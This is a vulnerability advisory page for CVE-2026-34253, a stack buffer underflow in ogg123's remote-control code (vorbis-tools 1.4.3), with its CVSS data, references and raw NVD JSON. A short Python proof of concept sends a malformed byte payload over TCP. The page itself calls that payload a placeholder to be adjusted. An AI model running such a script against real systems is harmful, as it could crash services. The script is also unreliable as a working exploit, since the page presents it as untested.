Security Vulnerability Report
中文
CVE-2026-34253 CVSS 8.2 HIGH

CVE-2026-34253

Published: 2026-05-15 15:16:51
Last Modified: 2026-05-15 16:16:14

Description

A buffer underflow vulnerability has been identified in the ogg123 utility from the vorbis-tools 1.4.3 package in function remotethread in remote.c. This vulnerability occurs in the remote control functionality when processing malformed input, leading to a stack buffer underflow that can cause application crashes and potentially allow code execution.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

No configuration data available.

vorbis-tools 1.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import sys # Proof of Concept for CVE-2026-34253 # This script attempts to trigger the buffer underflow in ogg123 remote control. def exploit(target_ip, target_port): try: # Connect to the ogg123 remote control interface s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Constructing a malformed payload to trigger the underflow in remotethread # Adjust payload bytes based on specific protocol analysis payload = b"\x00" * 4 + b"\xff" * 100 s.send(payload) print("[+] Payload sent to target.") s.close() except Exception as e: print(f"[-] Connection failed: {e}") if __name__ == "__main__": exploit("127.0.0.1", 12345)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34253", "sourceIdentifier": "[email protected]", "published": "2026-05-15T15:16:51.073", "lastModified": "2026-05-15T16:16:14.190", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A buffer underflow vulnerability has been identified in the ogg123 utility from the vorbis-tools 1.4.3 package in function remotethread in remote.c. This vulnerability occurs in the remote control functionality when processing malformed input, leading to a stack buffer underflow that can cause application crashes and potentially allow code execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-124"}]}], "references": [{"url": "https://github.com/xiph/vorbis-tools/archive/refs/tags/v1.4.3.tar.gz", "source": "[email protected]"}, {"url": "https://github.com/xiph/vorbis-tools/blob/0b3fbf42eb3897d32f4a75baa2dc915a4ca45e8e/ogg123/remote.c#L153", "source": "[email protected]"}, {"url": "https://gitlab.xiph.org/xiph/vorbis-tools/-/work_items/2332", "source": "[email protected]"}, {"url": "https://gitlab.xiph.org/xiph/vorbis-tools/-/work_items/2332", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}